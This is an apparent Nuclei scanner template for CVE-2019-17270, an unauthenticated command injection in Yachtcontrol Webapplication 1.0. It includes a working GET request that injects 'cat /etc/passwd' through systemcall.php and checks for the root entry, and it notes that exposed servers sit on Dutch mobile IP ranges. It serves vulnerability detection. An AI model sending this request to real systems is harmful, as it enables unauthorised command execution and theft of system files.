id: CVE-2019-17270 info: name: Yachtcontrol Webapplication 1.0 - Remote Command Injection author: pikpikcu severity: critical description: | Yachtcontrol Webapplication 1.0 makes it possible to perform direct operating system commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system. remediation: | Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability. reference: - https://www.exploit-db.com/exploits/47760 - https://nvd.nist.gov/vuln/detail/CVE-2019-17270 - http://packetstormsecurity.com/files/155582/Yachtcontrol-2019-10-06-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-17270 cwe-id: CWE-78 epss-score: 0.94652 epss-percentile: 0.99057 cpe: cpe:2.3:a:yachtcontrol:yachtcontrol:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: yachtcontrol product: yachtcontrol tags: rce,yachtcontrol,cve,cve2019,edb,packetstorm http: - method: GET path: - "{{BaseURL}}/pages/systemcall.php?command=cat%20/etc/passwd" matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" condition: and - type: status status: - 200 # digest: 4b0a00483046022100fb655064a8a4f2c5d7151a199cca78bb956a2af76bf28ed8eedebd69872bb52d022100ba1b81c74ee47dc8d4b0a824ec9883d4e59f5e33226f2ffd6108a26e70ade758:922c64590222798bb761d5b6d8e72950